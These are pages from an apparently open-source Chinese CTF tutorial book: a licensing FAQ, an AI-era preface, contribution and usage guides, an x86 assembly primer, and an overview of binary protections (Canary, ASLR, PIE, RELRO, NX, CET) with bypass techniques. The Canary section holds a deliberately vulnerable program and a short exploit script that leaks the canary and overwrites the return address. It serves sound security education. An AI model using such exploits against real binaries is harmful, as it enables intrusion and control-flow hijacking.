:可以,招新培训,甚至师傅们有一些培训私单也可以引用该项目,不过所有的使用都需要注明来源。比较特殊的一点是,如果你需要用它录制付费向视频,请来找我授权,因为本项目从许可证来讲,是不支持商用的。

如果项目帮助到了你,可以给我点颗 Star⭐ 这是对我最大的鼓励w,当然,你要是能捐赠这个项目,那我就更感激不尽啦~

我想二开这个项目,或者说我想把他放到我们学校的知识库之类的行为?

:没有太大要求,保持开源,不允许收费和商用,标注源项目地址即可。

要注意的是,如果你确定使用了本项目,那么你所有基于本项目创作的后续内容必须保持开源


Hc Preface FaceAI (`docs/hc-preface/faceAI.md`)

AI时代:在正式开始之前

!!! Note "转载声明"
本文部分转载并修改了KanaDE师傅博客中《在第一步之前......》的内容,你可以在这里找到他的原文。

我们不得不承认的一点是:当下的计算机专业大环境确实正在变得愈发糟糕:在一定程度上,AI 或许首当其冲地恶化了大环境。

过去的4年里,我们见证了开发模式的彻底重写,也见证了学习模式的大翻盘,更是见证了各行各业在 AI 飞速发展下的万般变化。

人们似乎越来越普遍地认为:观看视频,询问 AI 这些方式比阅读文档(比如说本文)似乎更加有性价比。

但是,在 CTF,甚至是计算机科学的世界中,我们能获取到的视频教程内容量,其实远比不上通过阅读文档或者他人的博客的内容量;我们询问 AI 得到的内容,其实并不总是正确,详尽且易于理解的。

令我们难过的是:越来越多的新手入门就被各种便捷的工具与 AI 带偏,忽视了基础知识与概念的重要性。

他们看到了工具一把梭的便捷,看到了 AI 的强大,看到了私底下 py 的便利。

我们甚至可以靠一把梭工具 + AI + 私下 py 拿下世界冠军,但是请问:

我们真正从这场比赛中学到了什么?


所以,在开始我们正式的征程前,我希望能够看到这些文章的各位,不论你是经验丰富的专家,还是茫然四顾的萌新,我们更希望你能够暂时放下 AI,放下什么都不懂,只想找视频学的心态。

在不懂就问 AI、看视频操作之前,先用自己的脑子想一想,先自己上网搜一搜。

毕竟用自己的脑子并不消耗 token,上网搜东西找到的文章文档消耗的流量也远比看视频要少得多:只需要吃掉两根不拿拿(Banana)就完全能够补回来刚刚思考时消耗的能量。

本文的目的并不是 让各位彻底放下 AI 和观看视频 ,而是希望能给到各位一个更加科学的自救与自学方法论。

我们依旧会使用 AI,也偶尔会录制一些公开课视频发在视频网站上,但或许彻底理解这些内容后,你会对 AI 的使用、观看视频的必要性,以及自我驱动学习有一种与之前不太一样的理解。

!!! Quote "猫猫の碎碎念"
或许你会觉得阅读文档太耗费时间,或许你会觉得学习 CTF 得到的收益远没有 AI 一把梭高。
但是请记得: 生活并不只有 CTF,学到你手里的技术,别人抢都抢不走。
不得不承认,Vibe coding 确实有效提升了我们的效率,mcp 工具和 Openclaw skill 的介入确实提高了你的成绩。
但是,比赛之外呢?

text
**仅靠外力得来的力量,终究不属于你。**  
计算机人追求的“学习版”,“绿色版”,挖洞渗透的整体逻辑和方向把控,安全算法的研发与验证……  
这些东西,只靠 AI 工具确实很难实现啊……  

退一万步讲,即便你选择了人机协同的路线,也只有当你自身真正掌握时,AI 才能发挥出更高的水平。  
否则,你只会成为 AI 的“累赘”:看不懂 AI 卡死在哪里,不知道怎么给予 AI 方向。  
你能做的只是在电脑面前,盯着 AI 工具不断弹出各种尝试步骤,不断燃烧本属于你的资源,    
**只是祈求 AI 能跑出正确的结果。**  

**殊不知,救赎之道,就在自身。**

那,我们开始吧。


Hc Preface Join (`docs/hc-preface/join.md`)


comments: true


帮助我们完善内容

CTF是一个涉及面很广的比赛,而作者一个人的能力又很有限,所以书中难免会有一些错误或者不完善的地方,如果您在阅读过程中发现任何知识点错误、内容模糊、名词拼写错误等问题,还请您协助我们进行修改,我们一直在为CTF和网络安全的开源生态努力,也希望您能够加入我们,一起完善本书,共同维护CTF社区的开放性。每一个 PR 都会被记录在本书的贡献者名单中,我们向每一个为开源社区做出努力和贡献的人,致以崇高的敬意!

直接编辑

在每个页面的右上角有一个「编辑」图标,您可以按照以下步骤修改文本或代码:

  1. 点击编辑按钮,如果遇到“需要 Fork 此仓库”的提示,请同意该操作;
  2. 修改 Markdown 源文件内容,并确保内容正确,同时尽量保持排版格式的统一;
  3. 在页面底部填写修改说明,然后点击 Propose file change 按钮;页面跳转后,点击 Create pull request 按钮即可发起拉取请求。

本地编辑

!!! Info "注意"
本项目基于 Mkdocs-Material 构建,如果您对 Mkdocs-Material 不熟悉,建议您先阅读 Mkdocs-Material 官方文档。

直接编辑的方式对于小改动来说是非常方便的,但是如果您需要修改大量内容,或者需要在本地进行编辑,那么您可以按照以下步骤进行:

  1. 首先 Fork 本仓库到您的 GitHub 账户;
  2. 将您 Fork 的仓库使用 git clone 命令将仓库克隆至本地;
  3. 将本地所做更改 Commit ,然后 Push 至仓库;
  4. 发起 Pull Request ,我们会尽快回复。

本地构建

对于 Mkdocs-Material 项目的本地构建,您需要具备Python环境,随后使用

bash
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple mkdocs-material

安装Mkdocs-Material,然后在您仓库的克隆目录下执行

bash
mkdocs serve

随后访问 127.0.0.1:8000 即可查看本地构建的效果。

!!! Bug "如果你的mkdocs构建失败……"
可以采用以下处理方式:
1. 将报错的文件内容清空(如编译过程中提示无效的参数:RCE.md,但是别忘了pr的时候还原回去)
2. 更换端口(编译命令中添加参数--dev-addr=127.0.0.1:【新的端口号】)
3. 提出问题并等待回复(这可能需要很久!)

贡献者名单

本项目的完成离不开以下小伙伴的贡献,感谢他们的付出。

text
<a href="https://github.com/ProbiusOfficial/Hello-CTF/graphs/contributors">
    
</a>

Hc Preface Usage (`docs/hc-preface/usage.md`)


comments: true


如何使用本书

!!! Info Tip

text
为了获得最佳的阅读体验,建议您通读本节内容。

风格约定

  • 标题后标注 * 的文章具有一定难度,通常涉及一些技术的底层原理,在未完全熟悉该方向大致内容时,阅读起来会有较大难度,容易造成不好的学习体验,所以该部分内容在前期可以暂时跳过,等到对该方向有了一定了解后再回来阅读。

  • 文章中的重要名词会用 「 」 括号标注,例如 「跨站脚本攻击 XSS(Cross Site Scripting)」 。请务必记住这些名词,包括英文翻译以及缩写,便后续阅读文献时使用。

  • 加粗的文字 表示重点内容或总结性语句,这类文字值得特别关注。

  • 专有名词和有特指含义的词句会使用 “双引号” 标注,以避免歧义。

  • 您可能会遇到以下几种提示框,它们分别表示不同的含义:

    !!! Note
    表示笔记,提示一些注意事项,或者一些小技巧。

    !!! Abstract
    表示摘要,用于引用一些外部文献,或者引用一些重要的语句。

    !!! Info
    表示信息,用于提示一些重要的信息。

    !!! Example
    表示示例,用于举例说明。

    !!! Tip
    表示提示,用于提示一些小技巧。

    !!! Success
    不一定表示成功本意,请注意该图标的自定义标题。

    !!! Question
    表示问题,用于提出一些问题,供读者思考。

    !!! Warning
    表示警告,或者一些需要注意的地方,程度比Failure低。

    !!! Failure
    用于提示一些危险的操作。

    !!! Danger
    用于提示一些非常危险的操作。

    !!! Bug
    用于提示一些可能会导致错误的操作。

    !!! quote
    具体意义由标题决定

动手实操

  • 本书的配套题目的 附件 源码 容器 均托管在GitHub 仓库,对于每个题目,我们均会提供详细的题解和知识点讲解,我们鼓励读者对每个题目进行手动复现,实操能力对于每一个CTFer以及安全从业者都至关重要。
  • 未来,Hello CTF 将会与 NSSCTF 平台联动,本书所有的题目均会在 NSSCTF 平台上开放,供读者练习。

善于提问

本书的每篇文章下都有评论区,我们很鼓励读者在评论区提问讨论,因为这不仅可以帮助您解决问题,也可以帮助其他读者解决问题,同时也可以帮助我们完善本书。
!!! Warning 注意
在提问前,请确保您已经阅读了本书的相关内容,以及相关的文献资料,并且已经尝试过自己解决问题;详细可以参考 提问的智慧 这篇文章,为了您的问题能够得到更好的解答,我们建议您在提问前阅读该文章。

学习路线

  1. 入门。我们建议您先阅读 快速开始 这篇文章,建立对CTF的一个大体认知,了解CTF各个方向的基本内容,然后再根据自己的兴趣选择一个方向进行深入学习。

  2. 刷题。刷题是一种很好的实践方法,在刷题中 学习知识点,利用知识点,巩固知识点 形成一个良性循环,逐渐去构建知识体系。

    • 【平台训练】
      在 快速开始 我们有给出一些刷题平台和基础题单,可以从基础题单开始刷题,不会的题优先使用搜索引擎等信息收集的渠道去寻找对应题目涉及到的知识点,可能的考点,针对性的去寻找解题方法或者思考解题方法,如果您在尝试了上述方法后仍然无法解决,可以寻找题目的WriteUp,对照WP进行学习。

    • 【比赛跟进】
      相比于平台训练,跟进和参加比赛不仅可以让你体验到前沿的CTF/安全相关的知识点,检验一下学习成果的运用,也能够让你体验到比赛的氛围,获得一些技巧和经验,同时也能够让你认识到自己的不足,从而更好的去学习。在 赛事中心 我们聚合了国内外赛事信息,并提供日历订阅。

    !!! Warning 注意
    刷题不是目的,目的是学习,刷题只是一种学习的手段,刷题的过程中,我们需要不断的去思考、去总结、去学习,而不是仅仅为了刷题而刷题。

  3. 构建知识体系。首先是对平时刷题比赛的一个归纳总结——记笔记、写博客、总结知识点、构建知识体系,这是一个很好的巩固知识的方法,同时也能够帮助您更好的去理解知识点,最终去形成一个契合自己的知识体系。
    其次就是阅读一些优秀文章,优秀的书籍,来不断丰富和完善自己的知识体系,这也是一个很好的学习方法,我们在 推荐书单 中给出了一些优秀的书籍,供您参考。


Hc Pwn Asm X86 (`docs/hc-pwn/Asm_x86.md`)


comments: true


也许,在开始正式接触二进制漏洞之前,我们需要先看看汇编语言?

大部分现在市面上的教程对于汇编语言从来都不深究原理,只会告诉你最基础的用法,或者就干脆像同济版的《线性代数》一样,跟本说明书一样,对新手极其不友好,我们这里争取使用最简单的方法来讲解汇编语言,让大家能够快速上手。

开始吧

这里,我们从一个最简单的例子开始

入门pwn大伙基本都是从栈溢出开始的,而想要理解栈溢出的最基本原理,汇编和栈是必不可少的,我们这里以一个最简单的hello world程序为例子来介绍汇编语言和栈,这里我们用到的环境是Ubuntu 20,程序都是64位的,请先自行装好gcc

Hello World

main.c

cpp
#include<stdio.h>

int main(){
    printf("hello world");
    return 0;
}

相信这是一个大家都能看明白的程序,C语言的Hello World,那么接着我们会想用GCC等编译器将其编译为二进制文件,从而其就可以在计算机上运行了,而在这个编译过程中,就有一个中间步骤:将C语言源码转化为汇编语言

首先对main.c做如下操作

gcc -S main.c -o main.s -masm=intel

现在,我们的c语言源码main.c会被编译,并输出等价的intel语法的汇编语言源码在main.s中

main.s(这里删除了一些用不到的代码,只保留了需要的

asm
.LC0:
	.string	"hello world"
main:
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, 0
	ret

.LC0可以看做是一个常量,其内容是字符串的hello world,而下面的main: 就是main函数了

现在我们来介绍现在这个main函数用到的几个指令

首先是lea,其含义是计算有效地址,在这里,我们可以看做是将 .LC0[rip]的地址,即hello world字符串的地址转移至rdi寄存器中,好了又提到了一个新的名称:寄存器,这玩意是一个位于CPU内的储存结构,里边可以存一些变量啥的,而这里的rdi寄存器就是第一个参数的寄存器,这么说可能有点别扭。我们接下来是要调用printf函数的,这个在c语言源码中也能看出来,在C语言中,hello world字符串是printf的第一个参数,那么在汇编里,我们在调用printf函数之前,就需要为这一次函数调用准备好参数,而rdi寄存器用来传递第一个参数,所以,汇编语言这里就将hello world的地址复制到了rdi寄存器中

在解决好了参数以后,就直接调用了printf函数,即下面的 call printf 指令

在这个过程中,还有两个指令,mov eax, 0这个我们没有说,mov是move的缩写,这里的意思也就是将0复制(转移)到eax寄存器中,而eax这个寄存器也比较特殊,它是返回值寄存器,任何函数的返回值都会被储存在这个寄存器中,举个例子,在我们call printf以后,eax寄存器内的值就会变成printf的返回值,而我们main函数在返回的时候是有一个return 0的,所以在ret(return返回)指令前,有一条 mov eax, 0的指令,这样在return的时候才能保证我们的返回值是0,至于前面那个mov eax, 0其实没啥用

好了讲完了这个最简单的程序,我们再把它复杂化一下,来详细介绍函数调用流程和栈

add.c

cpp
#include<stdio.h>

int add(int a, int b){
    return a + b;
} 

int main(){
    printf("%d", add(2, 3));
    return 0;
}

相信这个add程序应该也是大家入门函数调用的时候的经典,那么这个add程序变成汇编以后是什么样的呢?

add.s(还是省略了一些,但是又多了一点东西

asm
add:
        push	rbp
	mov	rbp, rsp
	mov	DWORD PTR -4[rbp], edi
	mov	DWORD PTR -8[rbp], esi
	mov	edx, DWORD PTR -4[rbp]
	mov	eax, DWORD PTR -8[rbp]
	add	eax, edx
	pop	rbp
	ret
main:
	push	rbp
	mov	rbp, rsp
	mov	esi, 3
	mov	edi, 2
	call	add
	mov	esi, eax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, 0
	pop	rbp
	ret

先看看add函数里都干了什么,前面的push rbp和mov rbp, rsp我们先不管

其将edi寄存器内的值通过mov指令复制到了 DWORD PTR -4[rbp] 这个地方,这个地方是啥暂时不管,并且将 esi 寄存器内的值复制到了 DWORD PTR -8[rbp] 这个地方,再然后,又将这两个地方的值转移回了edx寄存器和eax寄存器,嘶,那么 edi 和 esi 寄存器原本是什么东西?其实其是add函数第一个参数和第二个参数,那我们之前不是说 rdi 寄存器才是第一个参数吗? edi 其实就是 rdi ,只不过他们的范围不太一样, edi 寄存器的范围为 rdi 寄存器的低32位,而 rdi 寄存器是64位的,同样的,还有 di 寄存器和 dil 寄存器,分别表示 rdi 寄存器的低16位与低8位,简单放张图,其表明了这些寄存器之间的关系,侧边也说明了他们的作用,比如说 rdi 就标着1st argument,表明这是第一个参数的寄存器

下面是一张表,大概包含了各个寄存器

好了回到之前的话题上,在add函数中,由于两个参数都是int类型的,只占32位,所以使用了edi寄存器和esi寄存器,先将两个参数分别复制到了两个奇奇怪怪的地方,然后又将他们复制到了eax寄存器和edx寄存器中,那么假设我们调用这个函数的时候这两个参数分别是3和2,那么现在eax和edx寄存器内就是3和2了

下一步,执行add eax, edx,这条指令用膝盖都能猜到是做加法的意思,而其具体含义是 eax = eax + edx,那么也就是说将edx寄存器内的值加到eax上,所以现在eax就是这个加法函数的结果了,正好其实eax寄存器,是返回值寄存器,所以下面就直接ret了(先不管pop指令)

相对应add的,还有sub(减法),mul(乘法),divl(除法),sall(左移),salr(右移),neg(取补),not(取反)等基础计算指令,具体的用法大家就百度一下吧~

现在我们就需要了解栈这个概念了,对于每一个函数调用过程,都会有一个属于其的栈空间

先简单地介绍一下栈,对于每一个程序,其启动的时候,内核会为其分配一段内存,称为栈,假设在这个add程序中,内核为其分配的栈空间为 0xff00 - 0x10000,那么在启动的时候,rsp寄存器就会被赋值为 0x10000,对,赋的值是栈的最高地址,事实上,rsp寄存器储存的总是当前栈顶的位置

回到程序上来,在main函数启动的时候,会执行push rbp指令,push rbp指令等价于下面两条指令

asm
sub rsp, 8
mov QWORD PTR [rsp], rbp

首先由sub指令将栈顶向下移了8个字节,也就是对rsp减个8,然后将rbp寄存器内的值复制到 rsp所指的地址上,前面的QWORD PTR表明我们要复制8个字节,也就是说将rbp寄存器内的8个字节(64位)复制到了我们刚刚“开辟”出来的8字节在栈上的空间。对应QWORD(8字节)的有DWORD(4字节),WORD(2字节),BYTE(1字节)

之前说了,rsp总是指向栈顶的位置,假设在进入main函数的时候(main并不是真正的程序入口),rsp寄存器指向0xff80的位置,那么执行了push rbp以后,栈就变成了这个样子

所以,push的含义其实也就很明确了,就是将一个值给压到栈里面去,在main函数中,这一步push rbp的作用其实是将rbp寄存器的值临时储存到栈里面,这样我们就可以拿rbp寄存器去干别的事了,只需要在返回之前将rbp寄存器的值还回去就好了

现在就可以解释之前add函数里那两个奇怪的地方了,其实就是栈,我们先将传进来的两个参数作为临时变量储存在了栈中

来完整走一遍add函数的流程,首先,由 push rbp 将 rbp 原本的值保存在栈中,然后 mov rbp, rsp ,使用rbp寄存器来储存当前栈顶的位置,再将传入的两个参数保存到栈中, -4[rbp] 指的是rbp所指的地址减4后的地址,同理 -8[rbp] 就是rbp所指的地址减8后的地址,因为这两个参数都是int,都是4字节,所以对于每个参数就只需要给4个字节的栈空间即可,再然后,将这两个值复制到了edx和eax寄存器中,并完成加法,在返回前还需要 pop rbp ,pop和push是对应的,push是压栈,pop就是出栈, pop rbp 就是将rbp原本的值还给rbp寄存器,这样可以保证在这个函数调用的过程中原本的环境(即一些变量啥的)没有发生改变,最后再通过ret指令返回,返回到 call add 指令的下一条指令,对于调用add函数的main函数而言,它也拿到了它想要的add的结果,储存在eax寄存器中,他只需要从这个寄存器内拿结果就好了

32位传参补充

一点补充:在32位的Linux程序下,gcc并不会默认使用寄存器来传递参数,而是会使用栈,第一个参数就第一个push到栈中,比如说,我们有一个函数

c
int add(int a, int b){
    return a + b;
}

那么在32位的Linux程序下,在汇编中call add就是这样的

asm
push 1
push 2
call add

其等价于 add(1, 2)

逻辑控制

了解完上面的流程后,不知道大概会不会有一个疑问,ret是依靠什么记住返回地址在哪的?它怎么知道要返回到 call add 的下一条指令?

在这之前,我们需要了解一下JMP指令和CMP/TEST指令,先看CMP吧

CMP:CMP表示比较两个寄存器或者内存中的值,比较的结果会影响到标志寄存器

标志位寄存器:标志位寄存器是一个64位的寄存器,其内部有很多标志位,什么是标志位??我们先把64位的寄存器看成64个个二进制位,然后,我们先考虑只用其中的3个位,其中第一位表示我今天吃了M记,第二位表示我今天打了胶,第三位表示我今天窜了,那么如果我今天什么都没干,就可以用 000 表示我今天的状态,而如果我今天只窜了,就可以用 001 表示我今天的状态,这样,我们就可以用这三个位来表示我今天的状态了,而这三个位就是标志位,而标志位寄存器就是用来储存这些标志位的,而CMP指令就是用来改变标志位的,比如说,如果两个值相等,那么ZF(零标志位)就会被置为1,如果两个值不相等,那么ZF就会被置为0,这个ZF就是一个标志位,用来标志两个值是否相等

跳转:有了标志位,我们就可以根据标志位来决定是否跳转了,比如说,我们可以这样写,如果是相等就跳转的话,我们可以这么写

asm
je 0x12345678

je 表示 JUMP IF EQUAL,即相等就跳转,其等价于JUMP IF ZF = 1,即如果ZF标志位为1,就跳转到0x12345678这个地址,而这个地址就是我们要跳转到的地址,这个地址可以是一个函数的地址,也可以是一个标签的地址,比如说,我们可以这么写

之前说了,CMP指令可以比较两个数,那具体是怎么比较的呢?其实很简单啊。。

CMP eax, ebx 等价于 SUB eax, ebx,即 eax - ebx,但是不会将结果放回eax,并同时会影响标志位,如果说现在减完的结果为0,那么ZF 就会被置为1,如果不为0,那么ZF 就会被置为0

OK,那现在可以写一个简单的if语句了

c
#include<stdio.h>

int main(){
    int a = 1;
    int b = 2;
    if(a == b){
        printf("a == b");
    }
    return 0;
}

可以编译为汇编语言

asm
.LC0:
    .string	"a == b"
main:
    push	rbp
    mov	rbp, rsp
    mov	DWORD PTR -4[rbp], 1
    mov	DWORD PTR -8[rbp], 2
    mov	eax, DWORD PTR -4[rbp]
    cmp	eax, DWORD PTR -8[rbp]
    jne	.L2
    lea	rdi, .LC0[rip]
    mov	eax, 0
    call	printf@PLT
.L2:
    mov	eax, 0
    pop	rbp
    ret

可以看到,其实现的原理就是,先将a和b的值分别复制到eax和edx寄存器中,然后比较eax和edx寄存器中的值,如果相等就跳转到.L2这个标签所在的位置,如果不相等就继续往下执行

下面我们列出一张表,表中列出了一些常用的跳转指令

指令 含义 语法
JMP 无条件跳转 JMP 目标地址
JE 相等跳转 JE 目标地址
JNE 不相等跳转 JNE 目标地址
JZ 零标志位跳转 JZ 目标地址
JNZ 非零标志位跳转 JNZ 目标地址
JA 无符号大于跳转 JA 目标地址
JAE 无符号大于等于跳转 JAE 目标地址
JB 无符号小于跳转 JB 目标地址
JBE 无符号小于等于跳转 JBE 目标地址
JG 有符号大于跳转 JG 目标地址
JGE 有符号大于等于跳转 JGE 目标地址
JL 有符号小于跳转 JL 目标地址
JLE 有符号小于等于跳转 JLE 目标地址

循环

有了跳转,我们就可以实现循环了,比如说,我们想要实现一个循环,让程序一直输出hello world,那么我们可以这么写

c
#include<stdio.h>

int main(){
    while(1){
        printf("hello world");
    }
    return 0;
}

编译为汇编语言

asm
.LC0:
    .string	"hello world"
main:
    push	rbp
    mov	rbp, rsp
.L2:
    lea	rdi, .LC0[rip]
    mov	eax, 0
    call	printf@PLT
    jmp	.L2
    mov	eax, 0
    pop	rbp
    ret

可以看到啊,本质上就是JMP指令的使用,而像for循环,本质上就是CMP套JMP,仍然是一样

c
#include<stdio.h>

int main(){
    for(int i = 0; i < 10; i++){
        printf("hello world");
    }
    return 0;
}

编译为汇编语言

asm
.LC0:
    .string	"hello world"
main:
    push	rbp
    mov	rbp, rsp 
    mov	DWORD PTR -4[rbp], 0 // int i = 0
.L2:
    cmp	DWORD PTR -4[rbp], 9 // i < 10
    jg	.L3                  // 不满足条件就跳转到.L3,即跳出循环
    lea	rdi, .LC0[rip]
    mov	eax, 0
    call	printf@PLT
    add	DWORD PTR -4[rbp], 1 // i++
    jmp	.L2                  // 返回到for循环的开始
.L3:
    mov	eax, 0
    pop	rbp
    ret

最后,是TEST指令,其实和CMP指令差不多,只不过其是等价于 AND 指令,即 TEST eax, ebx 等价于 AND eax, ebx,其会将eax和ebx寄存器内的值进行与操作,并同时会影响标志位,如果说现在与完的结果为0,那么ZF(零标志位)就会被置为1,如果不为0,那么ZF就会被置为0

最后的最后,我们提一下标志位吧,实际上标志位是很多的,因为SUB ADD等操作是会产生溢出的,以及会有负数处理的情况,比如说 2222-3333=-1111,这是导致了正数被减为了负数,这种情况就会影响标志位,比如说,如果是正数减为了负数,那么SF(符号标志位)就会被置为1,如果是负数减为了正数,那么SF就会被置为0,而OF(溢出标志位)就会被置为1,如果没有溢出,那么OF就会被置为0,这里就不再一一列举了,大家可以自行百度一下

函数调用

在上面的例子中,我们已经见识到了函数调用的过程,但是返回具体是怎么返回的呢?我们其实只需要拆解call指令和ret指令即可,先看call

call func:

asm
push rip
jmp func

rip寄存器是受到硬件控制,永远指向下一条指令的地址,所以,我们先将rip寄存器内的值压栈,然后跳转到func函数,这样,func函数就可以把要返回的地址储存在栈里

ret:

asm
pop rip

将栈顶的值弹出到rip寄存器中,这样就可以返回到call指令的下一条指令了

现在你知道了,其实函数调用的过程就是将返回地址压栈,然后跳转到函数,然后函数执行完毕后,再将返回地址弹出到rip寄存器中,这样就可以返回到call指令的下一条指令


Hc Pwn Protections (`docs/hc-pwn/Protections.md`)

常见保护

本节作者:EROORvbsyes

前言

这一节我们要讲解常见的保护。
我们先总览一下

  • Canary <相关视频:CTF--Pwn第一课--Canary保护原理及绕过-哔哩哔哩-EROORvbsyes>
    • 泄露
    • gs超长覆盖
  • PIE :Position-Independent Executable(位置无关可执行文件)
    • 泄露计算
    • partial write
  • ASLR :Address Space Layout Randomization(地址空间布局随机化)
    • 泄露计算
    • partial write
  • RELRO :RELocation Read-Only(重定位表只读)
    • partial relro
    • full relro
  • strip
  • NX (No-eXecute)
    • ROP绕过
    • 改写映射权限
  • SHSTK(影子栈)
  • CFI(控制流完整性校验)
  • IBT(Indirect Branch Tracking),间接跳转跟踪

Canary

Canary(金丝雀)是Linux下GCC编译器提供的一种栈溢出保护机制,得名于煤矿里的“金丝雀预警”。

其核心原理是在函数的返回地址与局部变量之间插入一个随机的“金丝雀”值。在函数入口处,程序会将该值存入栈中;在函数返回前,会检查该值是否被修改。

  • 触发:如果攻击者通过缓冲区溢出覆盖返回地址,途中必然覆盖掉这个随机值。一旦检测到数值改变,程序会立即终止并报错,阻止攻击者劫持控制流。
  • 强度:该值通常从进程启动时生成的随机值段(称为“终止符”段)获取,末尾常设\x00(空字节),用于截断字符串操作,增加了溢出的难度。
  • 局限性:它只能保护开启了该机制的函数,无法防御仅篡改局部变量、未触及返回地址的溢出,且存在特定的信息泄露绕过手法。

栈初始化时会初始化TLS(线程局部存储)
而canary是初始化在TLS里的,即canary=[gs+0x28]

参考结构图:

STACK
var1
var2
canary
rbp
rip

对于其绕过也比较直接

1.我们可以尝试利用格式化字符串,泄露栈上的数据,其中也包含canary

2.我们可以通过利用puts函数的性质,在第一次写的时候多写一字节,覆盖截断符,在输出时就会把canary打印出来,通过字符拼接或者数学计算可以再次得到完整canary

3.在一些libc早期版本,TLS的数据会初始化在栈的高地址区域,在溢出长度允许的情况下,我们可以写入超长字符覆盖备份的canary,来达到不泄露绕过canary的目的

4.one by one 爆破,在一部分题目里面,可能遇到配置错误的服务,fork出来的程序canary是固定的,我们就可以用逐位爆破来获得canary。尝试最大方案数为256*7=1792种

第三种情况较为少见,笔者只在CVE复现看见过

在前期读者可能遇到smash泄露的题目,读者可以查阅资料了解一下,原理比较简单,在这里不过多赘述。

题目

我们有一个main函数和win函数

c
void win(){
   execve("/bin/sh",0,0);
   return;
}
int main(){
   char name[64];
   read(0,name,65);
   puts(name);
   read(0,name,256);
   return 0;

}

这里很明显有一次回显,两次输入。
那我们在第一次输入的时候输入一个65的长度的字符串,不以00结尾就可以了
这样就能覆盖掉canary低位00,此时puts就不会被00截断了,就会直接泄露出canary
之后我们通过加00或者位移操作就可以还原canary。
后面就是经典的ret2text了
参考exp:

python
payload1=b""
payload1+=b"a"*65
p.send(payload1)
p.recvuntil(b"a"*65)
canary=p.recv(7)
canary=b"\x00"+canary
payload2=b"a"*64+canary+p64(0)+p64(win)
p.send(payload2)

ASLR

ASLR(地址空间布局随机化)是一项系统级安全机制,用于阻止攻击者利用已知内存地址进行精准攻击。

核心原理
每次运行程序时,系统会随机化关键内存区域的基地址,包括:

  • 可执行文件(需开启 PIE)
  • 共享库(如 libc)
  • 栈、堆、mmap 映射区

这使得攻击者无法预判函数、指令或 gadget 的具体地址,从而难以构造 ROP 链或直接调用关键函数。

实现级别

  • 完全随机化:基址在每次执行或每次页分配时随机偏移,偏移量通常为页对齐(4KB 或更大)。
  • 内核设置:可通过 /proc/sys/kernel/randomize_va_space 控制:
    • 0:关闭
    • 1:随机化栈、库、mmap(传统模式)
    • 2:开启堆随机化(默认)

面对ASLR的绕过,我们主要有以下几种方案

  • 1.经典的地址泄露,基于偏移计算基地址
  • 2.partial write(这个也是基于低地址偏移不变的特性)
  • 3.爆破地址

那么我们这里不再详细讲解和提供例题,因为aslr本来是一个很基础的保护,只需要完成信息泄露即可。相信能看到这里的师傅应该都知道aslr怎么绕过


PIE

PIE(位置无关可执行文件) 是一种编译技术,让可执行文件本身也能像共享库一样在内存中随机化加载基址,从而配合 ASLR 实现完整的地址随机化。

核心作用

  • 没有 PIE 时,ASLR 只能随机化 libc、栈、堆,但可执行文件的代码段、数据段固定加载到 0x400000 等已知地址,攻击者依然可以精准跳转。
  • 开启 PIE 后,程序自身代码、全局变量、GOT 表等每次加载基址都随机,攻击者无法直接使用程序内的 gadget 或函数地址。

与 ASLR 的关系

  • ASLR 是内核决定是否随机化;PIE 是程序是否支持随机化。
  • 只有 ASLR 开启 + 程序编译为 PIE,可执行文件基址才会随机化。
  • 二者常同时提及,但职责不同:ASLR 是开关,PIE 是被随机化的前提。
    绕过技术同aslr。

RELRO

RELRO(重定位只读) 是一种动态链接器的安全增强机制,用于保护全局偏移表(GOT) 和重定位表不被恶意篡改,防止攻击者通过改写 GOT 劫持程序流程。

两种模式

  • Partial RELRO(部分):编译时默认开启。特点包括:
    • 将 .got 段(GOT 前半部分)标记为只读
    • 初始化 .bss 段起始部分
    • .got.plt 段(GOT 后半部分,含函数地址)仍可写,延迟绑定机制正常工作
    • 防御能力有限,仍可被 GOT 劫持攻击
  • Full RELRO(完全):需显式开启(-z relro -z now)。在 Partial 基础上:
    • 完成所有符号重定位,禁用延迟绑定
    • 将整个 GOT(包括 .got.plt)标记为只读
    • 攻击者无法通过任意地址写来覆盖 GOT 表项

防御原理

GOT 劫持是常见利用方式:攻击者利用漏洞(如栈溢出)改写某个 GOT 表项,使其指向恶意函数或 shellcode。Full RELRO 将 GOT 设为只读后,此类攻击彻底失效。

对于RELRO来说没有什么主流的绕过方案,所以一般保护开起来都是出题人有目的的
例如没开relro,或者partial relro可能在提示可以改got然后劫持函数。
如果是full的那么就是堵死了改got了,我们一般考虑劫持栈或者数据流执行虚函数等等。


strip

严谨来说,strip不是一个保护,只是一个程序名称,用于剔除符号表来减小程序体积或者增加逆向难度。

未strip时,程序的全局变量和函数名都是可以直接在ida中看到的,gdb也可以直接依据函数名下断点等。但是strip后,ida就看不到了,只能看到以sub_xxx的函数,gdb也会提示符号不存在。相当于提高了逆向难度和调试难度。

strip后的题目在ctf中的占比很大,所以需要选手有很强的逆向难度。


NX

NX保护是大多数题目开启的保护之一,并且gcc也是默认开启的。
顺带一提,pie在gcc是默认开启的,默认情况下relro是partial relro,canary不是默认开启的

NX的工作原理就是对指定区域,比如栈,将其对应的内存段标记为不可执行,
但是注意了,这里的不可执行,其实是页表标定的不可执行,并不是真正物理页的不可执行。
所以我们通过重映射或者改写页表flag是可以完成将原本不可执行页改成可执行页的。

对于NX的绕过方案,我们使用rop链来绕过或者迁移shellcode到其他页上。


CET

这里要讲的影子栈和控制流完整性校验都是属于CET保护方案的。
CET(Control-flow Enforcement Technology)机制是 Intel提出基于硬件的⽤于缓解 ROP/JOP/COP 的新技术。

特别强调下,他是基于硬件⽀持的解决⽅案。从Intel的Tigerlake (11th gen),Alderlake (12th gen)/Sapphire-Rapid起,粗颗粒度地旨在预防前向( call/jmp )和后向( ret )控制流指令劫持来御防ROP的攻击。因此针对防御对象不同,CET技术又分为CET-SS用于针对ROP的ret指令和CET-IBT用于针对JOP/COP的jmp/call指令

CET-SS和CET-IBT 在实现机制上属于CPU内部异常,这里就涉及到中断机制。当执行启动CET发现执行执行流中没有endbr64或函数返回ret和影子栈中shadow stack保存的ret不一致时,CPU内部触发异常,这里CET占用的中断向量21号,触发#CP并归为陷阱执行中断处理程序exc_control_protection(),对CET-SS CET-IBT分情况进行报错。CET-IBT -> "traps: Missing ENDBR: xxx", CET-SS-> #CP(control protect)。


SHSTK(CET-SS)

